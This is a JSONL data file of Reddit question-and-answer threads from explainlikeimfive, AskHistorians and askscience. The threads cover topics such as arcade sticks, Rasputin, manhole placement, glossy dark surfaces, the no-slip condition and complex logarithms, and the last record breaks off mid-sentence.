{"q_id": "f207eg", "title": "why do professional arcade fighter players use arcade sticks instead of game pads?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/f207eg/eli5why_do_professional_arcade_fighter_players/", "answers": {"a_id": ["fh9kq86", "fh9pgxj", "fh9v9ba", "fh9v9o4", "fha98x3"], "score": [21, 5, 2, 12, 2], "text": ["The main benefit is the accuracy of the stick. Your thumb pad is prone to accuracy issues that are huge in fighting games, because an inexact input completely changes what you're going to do.", "You can put your whole hand with all 4 fingers (5 if the stick has thumb buttons) on buttons at once. If you need to hit 3 buttons in a precise order, what's easier: hitting them with 3 different fingers that are already positioned over them, or with your thumb, one after another, moving in between each press?", "Oddly enough I think it depends on the game. I am a very casual watcher, but I've found more game pads in Street fighter than in Mortal Kombat. I also think it was pretty even split in Dragon Ball Z Fighterz. And Smash Bros rarely sees a game pad.  \n  \nMy guess is it has to do with comfort or practice more than anything. So far people talk about controller performance which is a definite variable. I believe the bigger factor is consistency, which is why players are able to bring their own.\n\nHope this helps!", "They don't all use sticks. Many use pads or stickless controllers like the Hitbox. Sticks are nice because they allow you to more easily input what you want precisely. Pads kind of vary in this area. The button layout is also good for fighter that involve things like multi-button inputs or pianoing (rapidly pressing multiple keys), and double tapping buttons to get more leniency on tricky input windows. Stickless controllers offer the same benefits of buttons and trade some of the preciseness of the stick inputs with being able to do directional inputs more quickly. They are especially good for half and full circle inputs, especially if the game has lenient inputs.\n\nBut I'm missing one of the biggest reasons: legacy. Competitive fighting game play largely sprung out of the arcade scene in Japan. People there would generally go to an arcade and learn on the sticks on those cabinets. If that's how you learn, then you're going to be most comfortable playing a tournament using the same type of controller. At this point the general consensus among fighting game players is to find what you like the most or are most comfortable with and use that. If you learn to use it well, then you can even [beat top 8 players with a steering wheel](_URL_0_).", "One thing not yet mentioned is that there\u2019s still an arcade scene in japan/korean. Many pros from those countries learned/trained in arcades for most of their time playing. So naturally they\u2019ll favor stick over pad"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://clips.twitch.tv/MushyShinyGrouseThunBeast"], []]}
{"q_id": "34zlr9", "title": "Was Rasputin taken seriously by anybody else besides the czar?", "selftext": "Everything I've heard about Rasputin indicates that he was a total wacko and an outsider. Did Nicolas' family or the people of Russia have any positive feelings or was Rasputin purely an embarrassment?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/34zlr9/was_rasputin_taken_seriously_by_anybody_else/", "answers": {"a_id": ["cqzvhjz"], "score": [9], "text": ["Rasputin is a very difficult figure to grasp because there is so much myth surrounding him that it is very difficult to disentangle him from all the stories that have accumulated around him. Rasputin's influence at the imperial court was relatively negligible. Nicholas II neither liked him nor fully trusted him, but kept him around to humor his wife and because his folk healing has some calming effect upon the tsarevich. The only prominent figure who took Rasputin seriously was the tsarina Alexandra and this led Rasputin to be the target of various social climbers and this added to his legend for womanizing and other partying. For the mainstream member of the court who were both quite conservative and somewhat snobbish, Rasputin's rough peasant ways and the elements he attracted contributed to the growing dislike for Alexandra, whose German background did not sit well in a period of rising Russo-German antagonism prior to the war. The outbreak of war itself shows the limitations of Rasputin;s political clout; he had advised against Russian entry into the war, even as he recovered from a stab wound from a jilted lover he received on the day of Franz Ferdinand's assassination. \n\nWhile Rasputin the man had limited sway over Imperial Russia, his *image* of a debauched and corrupting influence on the imperial family had captured good deal of the public's imagination, especially in Russia's cities which had grown because of the needs of wartime industries. Rumors of Rasputin's debauchery helped to sap the monarchy of its prestige and moral authority during a particularly acute time in Russian history. Before and after his death, many came forward to claim that it was Rasputin who really ruled Russia, but these claims were largely a combination of scapegoating and scandal mongering. Pamphlets detailing the sexual degeneracy of Alexandra and Rasputin were huge sellers in popular literature when much of the censorship apparatus was dismantled in the post-February Revolution. The urban legend nature of his assassination (and I am no sure historians can ever truly parse out what was real and legend in that instance!) added yet another layer to his mystique making him appear like a larger than life figure in Russian history. \n\n*source*\n\nFiges, Orlando, and B. I. Kolonit\ufe20skii. *Interpreting the Russian Revolution: The Language and Symbols of 1917*. New Haven, CT: Yale University Press, 1999.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5nhhy2", "title": "how does the crocodile dentist toy work?", "selftext": "[Video\n](_URL_1_) [Amazon](_URL_0_)\n\n\nYou open the crocodile mouth and press his teeth. If you press the sore one, there only one and it is randomized each time the mouth open, he'll bite.\n\nThe toy doesn't use any battery, so it must be fully mechanical.\n\nI wonder how the sore tooth is randomized? I tried to record the sequence, but it doesn't seem to have a predetermined order. Can someone explain this to me?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5nhhy2/eli5_how_does_the_crocodile_dentist_toy_work/", "answers": {"a_id": ["dcbkypf", "dcblid5", "dcbmar1", "dccdc85"], "score": [33, 2, 12, 2], "text": ["My guess is there is a disk directly below the disk that has holes for safe teeth to get pushed down through. The triggering tooth pushes the disk down and triggers the jaw to close. The disk gets spun every time you open the jaws and is randomized by that spinning. ", "Ah, what a classic. The trigger tooth always had more resistance so it was pretty easy to cheat. I believe what happens is, when it's opened, a mechanical wheel spins to simulate randomness.", "It's been a while since I researched this, so my facts may be a little fuzzy, but like /u/digitaluddite said it uses a disk. Opening the jaw loads a spring for energy storage, and pressing the trigger tooth releases the energy, causing the disk to spin and the jaw to close. The disk has an inaccurate breaking mechanism that causes it to stop at a new random location.", "Why not just spend 13$ at Walmart and break one open?"]}, "title_urls": [], "selftext_urls": ["https://www.amazon.com/Elefun-Friends-Crocodile-Dentist-Game/dp/B00NQQTZBA/ref=pd_sbs_21_1?_encoding=UTF8&amp;pd_rd_i=B00NQQTZBA&amp;pd_rd_r=ZAZXZTABSXY3NA0FDNDS&amp;pd_rd_w=HsDKA&amp;pd_rd_wg=v9a6A&amp;psc=1&amp;refRID=ZAZXZTABSXY3NA0FDNDS", "https://youtu.be/qddtHj2Csuw"], "answers_urls": [[], [], [], []]}
{"q_id": "nfhj1", "title": "What is the dizziness/slight lightheadedness that I feel whenever I enter a room that I have never been in or feel I shouldn't be in? ", "selftext": "Sometimes when I enter indoor places that I have either never been in or have a feeling I shouldn't be in I get dizzy/light headed. Not sure if this happens to everyone or not, but I'm curious if there is an explanation. ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/nfhj1/what_is_the_dizzinessslight_lightheadedness_that/", "answers": {"a_id": ["c38qyk0", "c38qyk0"], "score": [2, 2], "text": ["It sounds like shock or fear from being nervous or shy. I used to get the same thing but to an extreme. I still do, but not to such an extreme that I used to, where I would find myself paralysed outside of a door with a need to build up the courage to enter.\n\nI'm not a scientist but I believe you can find some interesting answers if you google this subject (ideally from wikipedia). It sounds like the effect of an adrenaline release (google flight/flight response in humans may be useful). Usually, the symptoms you describe are related to the availability of oxygen (and in turn the activity of the heart).\n\nWhat you describe also sounds like a precursor to fainting. You should check this out online as there may be a common underlying cause.\n\nAnswers to the physical aspect might be easy to acquire compared to the psychological aspects such as what triggers the physical response.\n\nI would also love to hear from a psychologist on this common fear. There might be a subcategory in reddit for that.", "It sounds like shock or fear from being nervous or shy. I used to get the same thing but to an extreme. I still do, but not to such an extreme that I used to, where I would find myself paralysed outside of a door with a need to build up the courage to enter.\n\nI'm not a scientist but I believe you can find some interesting answers if you google this subject (ideally from wikipedia). It sounds like the effect of an adrenaline release (google flight/flight response in humans may be useful). Usually, the symptoms you describe are related to the availability of oxygen (and in turn the activity of the heart).\n\nWhat you describe also sounds like a precursor to fainting. You should check this out online as there may be a common underlying cause.\n\nAnswers to the physical aspect might be easy to acquire compared to the psychological aspects such as what triggers the physical response.\n\nI would also love to hear from a psychologist on this common fear. There might be a subcategory in reddit for that."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "5kdhe6", "title": "was 2016 really terrible compared to other years ? if not, why did people start complaining about 2016 when bad stuff happens every year ?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5kdhe6/eli5_was_2016_really_terrible_compared_to_other/", "answers": {"a_id": ["dbn4rm7", "dbn6pw1", "dbn8h8m", "dbn9at8", "dbncyej"], "score": [15, 52, 19, 3, 3], "text": ["I can't recall the name for the phenomenon, but the fact is, that we have better communication and access to more information than ever before in history. Just a hundred years ago, you would have known about everything that happens in your village, and know of the main events that occurred in the nearest few cities, and that's it. \n\nWhereas nowadays you hear about every single non-poor white kid that gets hurt anywhere in the world, in almost real time. When people spend months discussing the death of a gorilla, you know you have it good. People lack perspective. If you ignore political tensions, and the rise in popularity of right wing politicians (which, of course, is partially the consequence of the aforementioned lack of perspective, and needless fear mongering), 2016 was pretty dope. And famous people die each year, it's just maths. Due to having access to better information, there are more people that we consider \"celebrities\" to start with, and a lot of them are now getting old.\n\nTl;dr: People at getting whinier by the year. 2016 was amazing. ", "Everyone in the States remembers 9/11. Well we got our own 9/11 in 2015  &  2016 in Europe. \n\nIn November 2015, terrorists attacks in Paris killed 130 people. 2016 kicked off in state of fear: reinforced controls, armed men in the streets, a lot of celebrations cancelled etc.\nIn March 2016, the same terrorist cell hits Brussels: 300 people were injured.\nBerlin was hit just this month.\n\nMeanwhile, our local Donald Trump's are using this fear for their own benefit. Far-right parties are getting stronger by using anti-migrant rhetoric.\nThe States got Trump, we got Brexit.\n\nUSA or EU, we shared something in common this year. We heard a very toxic rhetoric all year long : \"them versus us\", \"you're not safe\", \"politicians can no longer help you\" etc etc.\nThis creates an overall sentiment that nothing went right this year.\n\n\nAlso famous people died.", "It's the election.  It was unusually hostile and ugly compared to any in decades.  Through a series of events that people are still trying to explain, we wound up with two of the most widely hated candidates in history facing off.  One party's candidate was widely perceived as corrupt, dishonest, and unlikeable, and is dragging along decades of conspiracy theories and partisan hatred.  The other was a world-class buffoon and a mentally degenerate narcissist.  The entire election cycle was built on hatred.  It made the nation even more divided and angry than we were at the beginning, as if that was even possible.  And at the end, the least competent human being in American history somehow got elected President. \n\nBut that not the worst part.  The worst part is that somehow we have reached the point where people no longer believe in facts.  The most powerful country in the world had its election decided on the basis of lies and disinformation.  People look at widely confirmed science and simply choose to disbelieve it.  Things that used to be considered normal democratic processes are now viewed with contempt, and educated experts are viewed with derision.  \n\nIts not just the US, either.  People all over the world seem to be having the same reaction.  The Brexit saw widespread rejection of experts in favor of gut emotions.  The Phillipines elected a violent, antisocial lunatic who seems intent on destroying decades old alliances for reasons no one can understand.  Its as though nations all over the world have decided they are fed up with sharing, understanding, and mutual diplomacy, and are instead choosing the most destructive, selfish, and isolationist policies they can come up with.\n\n\n", "In the first half of the year, many more celebrities died than in any recent year. In the second half it calmed down, but by that point 2016 already had a reputation and every subsequent death only served to reinforce it - plus, the Summer and Autumn were dominated by talk of Brexit and the US election, which gave the illusion that 2016 was still really bad even though the rate of celebrities dying had fallen to a more normal level. \n\n_URL_0_\n", "I think we as a society complain more and more every year because we know about more and more every year thanks to social media. We become increasingly immersed in headlines (but only remember the most sensational ones, not all the facts). I think in the US Donald Trump's win coupled with over a year of election drama--as with every election--was not exactly a good thing for 2016 for a lot of people, myself included. Obviously that isn't quite as much of a factor for those outside the US. \n\nI myself had a shitty 2016. Cancer (myself and two friends) pretty much dominated the year. But even without that 2016 felt especially awful. Maybe I am just feeling things more, but the atrocities of this year seemed to be worse than ever before. Circle back to the beginning of my comment, of course. Or maybe I am just growing up more and realizing the world sucks. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://www.bbc.co.uk/news/magazine-38329740"], []]}
{"q_id": "43iu9j", "title": "what does it mean that value is wiped off assets or the market?", "selftext": "For example, does it mean that value literally evaporates? Or is it that the value transfers to other entities in terms of charges, taxes and profits. Let's say we have an asset worth $100 and 50% is wiped off the value of that asset due to a financial crash. Is the 50% of the value gone or redistributed to others. I did try searching the sub but I couldn't get the keywords right and while I did find some interesting similar topics, I couldn't piece it together adequately. Thanks.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/43iu9j/eli5what_does_it_mean_that_value_is_wiped_off/", "answers": {"a_id": ["cziigt6"], "score": [2], "text": ["It means that the market has changed their mind about the value of the asset, and decided that it is worth less than they thought it was worth yesterday.\n\nSay you are in the middle of a marble craze at school, and your 5 special, rare rainbow spotted marbles are worth 3 hot dogs each. Then someone else finds how to get rainbow spotted marbles and brings a huge sack of them to school. Now you can't get a single jelly baby for your marbles, because the market, your school mates, have changed their minds about them. The 'value has been wiped off' your supply of marbles. No one has suddenly found 15 hot-dogs anywhere."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "56uxoh", "title": "why are manhole covers not in the middle of a lane so car tires don't run over them?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/56uxoh/eli5_why_are_manhole_covers_not_in_the_middle_of/", "answers": {"a_id": ["d8mk5vy", "d8mkr75", "d8mktsh", "d8mt74d"], "score": [3, 2, 3, 19], "text": ["Manhole covers are located where there's access to sewers. Sewers are planned and built where it is more efficient and convenient. Having cars run over the manhole covers isn't really a factor in this (who cares if car tires run over them?)", "There's lots of stuff under there, and the sewers don't run down the street, they tend to run down the hill. They have to be put in the right kind of dirt. They have to not be put where gas lines and power lines already are or will be soon. They are put in before the roads. They may have been put in before the whole development (e.g. the city builds A, then C, then later builds B but the sewer from A to C already runs sideways through the lot where B will live.)\n\nIn short, its not just impossible but often undesirable to try to line the underground stuff with the roads above.", "There may be many reasons, but here's one more:\n\nRoads don't always have the same number of lanes they had when they were first built. Streets are widened, turning lanes are added, bike lanes are added, parking is eliminated, two-way streets are changed to one-way, traffic lanes are changed to bus-only lanes. All these things may result in lane-divider lines being repainted in different places. ", "Transportation engineer here. Usually the sewer systems under the road are much larger than you would think. Usually 10-30 ft wide. If you think of a cut-away of this underground sewer (essentially looking at it as though it's a really large pipe so you are thinking of It as a circle in cut-away view), it makes most sense to put the manhole at the top most part of the sewer (top of the circle). Now, roads get re-surfaced all the time. Curbs and lanes change due to the needs of traffic. That sewer system most likely has been there for a long time if there has always been a road there. Even in new construction, there was probably an older sewer system in place for many years. Cost wise, no way are they going to go with the hassle of relocating a manhole when they can just level it as best the can. Sometimes the contractor does a bad job with this and you get your pothole-like manholes. But relocating means a lot more engineering and subsurface work. It would be nice to do, but it's usually just not in the budget for that type of jobs. \n\nOther times during new construction, the contractor putting in the sewer and the contractor putting in the road just miss their mark slightly. Most of the time, they're given basic plan sets with only their part on it. And usually it's different contractors for different aspects. \n\nHope this helps. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "13tnor", "title": "Was there some type of centralized General Staff in Ancient Rome?", "selftext": "I know that Roman military organization varied wildly depending on the time you are looking at, but was there ever something that we would recognize as a General Staff?  A group of senior military professionals who created general strategies, policies, and plans for the legions?  Or was it a more decentralized process?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/13tnor/was_there_some_type_of_centralized_general_staff/", "answers": {"a_id": ["c774mk8"], "score": [5], "text": ["Not really. The specific military policies would be determined by the individual governors, and actions requiring the resources of more than one province would be handled by the emperor, a member of the imperial household, or someone selected by the emperor (Corbulo being a good example)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "w78gx", "title": "If you pull a strand of hair out, is it possible that it won't grow back? If so, how likely is this?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/w78gx/if_you_pull_a_strand_of_hair_out_is_it_possible/", "answers": {"a_id": ["c5avzwq", "c5aw56p", "c5axmes"], "score": [3, 41, 4], "text": ["While it's possible it wouldn't grow back, it's unlikely because the follicle itself needs to be destroyed to prevent recurrent hair growth. Plucking a hair from the follicle typically doesn't damage the follicle itself. Something like laser hair removal is targeted at the follicle and destroys it, preventing hair growth in the future. Waxing, or other hair removal, doesn't, so it has to be done repeatedly.", "Barber here. We learn all about hair anatomy and such. The follicle is actually not part of the hair, it is literally just the hole that the hair is in. The part that grows the hair is actually a small organ called the hair papilla. This part is what causes the hair to grow, and actually detaches the old hair when growing a new one. If you pull a hair, it will grow back as long as you didn't pull this little 'root' out with it. \n\nHere's an image that may help: _URL_0_\n\nEdit: I'm not sure about the likelihood of this happening if you pull on any given hair. I would say that it is unlikely.", "What about eyebrows? I've had a horrible habit of pulling and playing with my eyebrows."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://hairtx.com/wp-content/uploads/2009/02/hair_anatomy.gif"], []]}
{"q_id": "2em5ak", "title": "why is it that if something bothered me really badly and had me thinking about it all day, do i wake up and feel completely fine and not as effected?", "selftext": "How does 'just sleep on it' work?\nAlso this is more for day to day issue or occurrences. I'm sure more serious problems don't just go away when you sleep (I.e. loved ones passing away, unemployment etc)", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2em5ak/eli5_why_is_it_that_if_something_bothered_me/", "answers": {"a_id": ["ck0sha8", "ck13rj8"], "score": [14, 2], "text": ["Something only is a problem when you make it one, if you are fixated on a bad situation you will focus on the bad parts, not the good parts.\n\neg: you get fired today, your day is ruined and you spend most of your day pondering about why, how, really???\n\nYou go to bed, sleep, shut off the worrying part of your mind, you wake up and have to go to the bathroom urgently, suddenly not having a job does not seem that bad, what you ate yesterday does!\n\nThe problem is not gone, and you know this, you still wonder and worry but since it happend some time ago and you had time to relax you also had time to look at things the other way.\n\nSimply put, right after you get fired you are stuck with this idea, and you are unable to put it into perspective untill you stop worrying for a while (eg: sleep). then you wake up and you see the bigger picture.\n\nNot everyone has this, and if this happens frequently to you search for \"stoicism\", it wont fix your problems but it will give you another view on them and allow you to get past the worry part without needing to sleep it over.", "The initial emotions associated with the subject, which are often induced by chemical changes in the brain, die down over the night."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1f1u1x", "title": "Why did Dan White assasinate Harvey Milk?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1f1u1x/why_did_dan_white_assasinate_harvey_milk/", "answers": {"a_id": ["ca62gmu", "ca65cd7"], "score": [15, 6], "text": ["He ate too many Twinkies, which caused his blood sugar to spike to dangerously high levels. The excitement was too much for him to handle. He blacked out and went on a murder rampage -- you know, because of the Twinkies. At least that is what White's lawyers would [have you believe](_URL_1_)...\n\nIn all seriousness, he was a mentally ill man who suffered from serious depression. He had a number of political disagreements with Milk and SF mayor George Moscone. His career suffered gravely as a result. This was most likely what motivated him to go SF City Hall and kill them both.\n\n[Source](_URL_0_).\n\nEDIT: In case it wasn't made *abundantly clear* by the tone of my post that it was not to be taken seriously: the \"Twinkie defense\" used by White's lawyers did not actually, explicitly mention Twinkies. See link for further details.", "For the record he also murdered Mayor George Moscone in the same spree. (Just pointing this out because Milk is so much better-known.) In fact it was Dianne Feinstein who found the body, and served out the rest of Moscone's term as mayor. She kept the office through two elections after that, and a few years after her last term she entered the U.S. Senate, where she remains one of the most powerful members (e.g. chair of the Select Committee on Intelligence). Feinstein cites the Milk/Moscone murders as a motivation for her leadership in gun regulation."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.sfweekly.com/2008-01-30/news/white-in-milk/1/", "http://www.trutv.com/library/crime/criminal_mind/psychology/insanity/7.html"], []]}
{"q_id": "9ej80y", "title": "why do darker colours tend to be shinier and glossier?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9ej80y/eli5_why_do_darker_colours_tend_to_be_shinier_and/", "answers": {"a_id": ["e5peakw", "e5pemo1", "e5peysa", "e5pj4fi", "e5pnw23", "e5pozjo", "e5pq9je", "e5pw386", "e5q3jr9"], "score": [71, 194, 2, 11, 5, 3, 5, 3, 2], "text": ["Specular highlights (shiny spots) are white.\n\nA white highlight is more visible against a dark background than a light one.", "A similar reason why your smartphone is shinier and glossier when in use outside during the day instead of inside: the light reflecting off of the surface layer is brighter than the light transmitted through.\n\nThink of light as sticky balls of different colors being thrown at a wall. The stickiness of the ball and the wall depends on the color. We only see the color of the balls that return to us. If 100 balls of 10 colors gets thrown at a green wall, only the 10 green balls gets bounced back. This is how an object looks green. Likewise, for a 50% gray wall, 50 balls, 5 of each of the 10 colors bounces back.\n\nUsually, glossy or shiny things have a coating made of plastic or glass in front of the object which causes additional reflections. This is as if an additional wall with holes is placed in front of the colored one that only bounces balls back or lets them through. \n\nLet's say this wall reflects one in 10 (10%) of the balls but lets the rest of them through. For a 100% gray (white) wall, 10 balls bounce back from the wall with holes (coating) but all 90 going through will bounce back from the white wall. You see some of the glossiness (10 balls) but it's overpowered by the balls bouncing from the white wall (90 balls).\n\nNow, if the colored wall was 10% gray (close to black), 10 balls bounce back from the wall with holes and of the 90 that go through, only 9 balls bounce back. The 10 balls from the glossy layer are now comparable to the 9 balls representing the light coming back from the colored layer. The dark colors are more easily overwhelmed by the reflection from the glossy layer so they appear shinier and glossier!", "When light hits an object, it can do 3 things: pass through, reflect, and be absorbed (\"transmission\", \"reflection\", \"absorption\"). It usually does a combination of these. If it passes through, the item is transparent. When it reflects, that shows up as the color of an object. Light-colored objects reflect more wavelengths of light, whereas darker-colored objects absorb more light. This makes it more noticeable when a darker object also reflects light. This is also the reason darker objects get hotter in the sun -- they are absorbing more of the incoming light and converting it to heat, while light reflects off of lighter objects, letting them stay cooler.\n\nThe reflection can also be one of two types - specular and diffuse - and usually is a combination of these. In diffuse reflection, light hits the object and is reflected in all directions, which makes the object look generally bright, and this is often due to material properties or pigment on the surface, and a rough surface structure. In specular reflection, light hits the object and reflects all together, like with a mirror or smooth surface. This is what makes objects look shinier and glossier. For a darker object to reflect light, it often happens in a specular way, due to the surface structure being smooth rather than due to the material or pigment, which would tend to absorb light because it's a darker color.", "Darker colors are not glossier. It is the material which shines.\n\nWhen the materials are coated with colors, there are two kinds of reflections. One is the reflection from the material and the other is the reflection from the color. When the material is coated with darker color, darker color absorbs some light and reflects some light. Material reflects some light. When the light reflected by materials is more intense or brighter than light reflected by color, you see the shine.\n\nJewelries should be a nice example. Jewelries are coated with a thin layer of very reflective metal which makes them shine. After some usage, that metal gets dull, so you polish them. When you polish them, you don't recolor them, you enhances that coating or cleans that coating which makes them shine brighter again. Diamond is not dark but shines a lot. It's because of diamond's reflective properties.", "When you are looking at a reflection in say a glossy cars paintwork, you are looking at the light being reflected by the glossy surface of the paintwork. In addition to this reflected light you are also seeing the light being reflected by the colour of the paintwork. If the colour of the paint is a dark colour, then not much light is being reflected by it and the reflection coming from the glossy surface will be easily visible. If however the paintwork is a light colour it will reflect more light  &  the reflection we are trying to look at will become \"washed out\"  &  harder to see. a similar thing happens if we look at our reflection in a glass window, if the room beyond is dark our reflection will be easy to see but if some one turns a light on inside we will only see through the glass  &  our reflection will become barely noticeable.", "Contrast and reflection angles.\n\nA truly black surface (google Vanta Black, it\u2019s crazy stuff) reflects no light and absorbs it. A white surface does the opposite, it reflects all colours of light in all directions which mix together forming white. It also scatters the light in all directions. Mirrors are essentially white but they bounce the light almost perfectly in the reflected direction instead of spreading it everywhere and creating a flat texture such as with paper.\n\nIn the case of paint you have two layers, the subsurface colour and the top layer of shine. The shine is caused by a clear glossy resin that has set and allows a lot, but not all, of the light through, which bounces off the colour and back through. So you\u2019re looking at two surfaces really, one slick and see through and the other rough and opaque.\n\nNow add the contrast into the mix. If the white is evenly bouncing light into your eyes from its sources then it makes it hard to see all but the brightest features of the reflection whereas when it is against black it is very easy", "As u/dragonnyx said - there are a few types of lighting of a material. The two most important ones are diffuse scattering and specular reflection. The diffuse light that reflects from the object goes in all directions and gives the object the color it has. The specular high lights are caused by a more proper reflection (due to a smooth surface eg glass) which causes the \"shine\". Since an object being black means it reflects very little light, most of the light reflecting back to your eye is from the specular reflections making it much more noticeable.", "It's the color contrast. Shine usually appears white/light color. The darker the color, the more contrast it has with the shine, so the glossier it looks.", "Plenty of black objects don\u2019t reflect, it\u2019s gloss. I\u2019d maybe ask why those seem to reflect better? I\u2019m also a bottle of wine into my almost bedtime, so who am I to question?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], []]}
{"q_id": "4ptkrr", "title": "I am a Roman Gladiator who just won a battle at the coliseum, what will the rest of my day/night be like?", "selftext": "First off, sorry if it's not called a battle, but basically if I had just won a battle at a full coliseum, what could I expect to be doing that night? Would I go out and party and be treated like a celebrity, or would people just have been entertained by someone doing their job and I go on with business as usual?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4ptkrr/i_am_a_roman_gladiator_who_just_won_a_battle_at/", "answers": {"a_id": ["d4oh90a"], "score": [5], "text": ["Are we assuming here you won't have to recover from some potentially serious or deadly wounds? Because first aid and recovery was probably necessary in many cases. I personally would like to know more about how that was handled if anyone knows. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "9bpmo4", "title": "the no-slip condition", "selftext": "I am taking Fluid Mechanics this semester and one of the first topics covered was the No-Slip Condition, but the actual mechanics (?) of why at the boundary the fluid has a velocity of zero wasn't really explained. I understand that there's a frictional force, but is that it, the book mentions even in the case where the solid was completely smooth, non-porous, that the fluid would still have a velocity of zero. Fellow engineers, physicists or chemists, can ya help me out?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9bpmo4/eli5_the_noslip_condition/", "answers": {"a_id": ["e54woeq", "e553v36"], "score": [2, 14], "text": ["So you really want to be asking this at /r/askengineers or /r/engineeringstudents because almost no one here will have a clue what you are talking about...\n\nBut...no slip is an approximation that holds really well for engineering calculations, it isn't a true physical phenomenon. You know this because if you suck water up a straw and then let go, there isn't water sitting on the straw walls minutes later.\n\nAt the same time, if you have a 4' pipe of sludge and you introduce a dye in the pipe, you'll find that the dye will barely move if introduced near the wall.\n\nLike you said, frictional forces play a huge role - attractive forces between molecules of the pipe and fluid creating a drag on the fluid.", "As a fellow engineer I will explain it to you in the best way I can: A joke.\n\nA math professor tells two students, an engineering student and a mathematics student, \"On the other end of the room is the prettiest woman in the school. You can kiss her, but you need to walk half way across the room, pause, walk half the remaining distance, pause, and so on.\"\n\nThe math student says \"But according to Zeno's Paradox you could never make it across the room, isn't that right?\" Turning to the engineering student, who is already half across the room.\n\n\"You can't make it across the room\" says the math student.\n\nThe engineering student shrugs, \"Eh... I will get close enough.\"\n\nWhen it comes to the math of engineering, close enough works. No, a fluids velocity isn't zero at the surface of the solid. But it is close enough that you might as well just assume it is zero."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2e3jnv", "title": "Logarithms of complex numbers? Logarithms with complex bases?", "selftext": "I was recently thinking about math, and I realized that I could use Euler's Identity [e^(ix) = cos(x) + i*sin(x)] to define logarithms of complex numbers. Here's how: those of you answering this question should know that any complex number a+bi can be transformed through Euler's identity into the form re^(ix), where r is the radius from the origin and x is the angle this radius makes with the real axis. This can be further transformed into e^[ln(r)+ix]. So if I have a complex number z = e^[ln(r)+ix], I can take the natural log of both sides to get ln(z) = ln(r) + ix\n\nThis, in itself, is crazy enough. I was taught all throughout grade 11 and 12 that you cannot take logs of negative numbers, yet this equation allows it and produces results consistent with each other and with Euler's formula. For example, the natural log of -1 is i(pi). The natural log of i is (1/2)i(pi); ln(i) is half of ln(-1), because i is the square root of -1.\nI'm getting side tracked.\n\nEvaluating the natural log of complex numbers allows for logs with complex bases. Start with ln(x) = y, then apply change of base formula by converting to exponential form {e^y = x}, taking a complex log of both sides {log_z(e^y) = log_z(x)}, using log properties to bring y out front {y*log_z(e) = log_z(x)}, then replace y with it's equivalent from the starting equation {ln(x)log_z(e) = log_z(x)}. So, a complex logarithms can be taken as long as we can evaluate log_z(e), which we can. Knowing that z = re^(ix) = e^[ln(r)+ix], the question is \"What power should we put on e^[ln(r)+ix] to get e? The answer, of course, is 1/[ln(r)+ix]. So my equation from before becomes log_z(x) = ln(x)/[ln(r)+ix]. This allows lots of interesting things, like logs with negative or imaginary bases. \n\nI'm sorry if this comes off as rambling and not much like a question. My question is, is all of this mathematically valid? Has it been discovered already? Has it been discovered, but left undefined for the same reason that 0/0 is? Why do my teachers tell me I can't take logs of negative numbers?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2e3jnv/logarithms_of_complex_numbers_logarithms_with/", "answers": {"a_id": ["cjvq2md", "cjvq5rn", "cjvq9cd"], "score": [5, 26, 8], "text": ["Firstly, a note on terminology. We use Euler's formula to refer to e^(ix) = cos(x) + i sin(x) and Euler's identity to refer to e^(i*pi) + 1 = 0.\n\nSecondly, ln(z) = ln(r) + ix gives the principle value of the log of z; add integer multiples of 2*i*pi to get the rest.\n\nThis is a well known result and has nothing to do with logarithms of negative numbers.", "Yes, all of this works, except there's one thing you haven't taken into account:\n\nwhen you write z = re^(ix), that representation isn't unique, you could take x' = x + 2pi, and z = re^ix' as well. Thus, when defining the logarithm^(*), you have to be careful and take this into account. You can address this by saying \"x is the angle between 0 and 2pi such that z = e^(ix) \" or (more commonly) \"x is the angle between -pi and pi such that z = e^(ix) \", or something like that. This is called a \"branch cut\" and is needed to prevent the function from being multi-valued (only one output for each input).\n\nOne final note, you still can't define the value of log(0).\n\n\\*: usually, in complex analysis and further mathematics, \"log\" is synonymous with \"natural logarithm\", since the base 10 logarithm isn't really special, important or needed.", "Yes [it has been discovered](_URL_0_), and yes it is mathematically valid to the extent that you are careful with how you use it.\n\nThere is an inherent problem with complex logarithm that comes from the fact that exp{x+iy}=exp{x+iy+i2pi}. If you were to naively assume that the complex exponential is invertible, then you would be forced to admit that z=z+i2pi 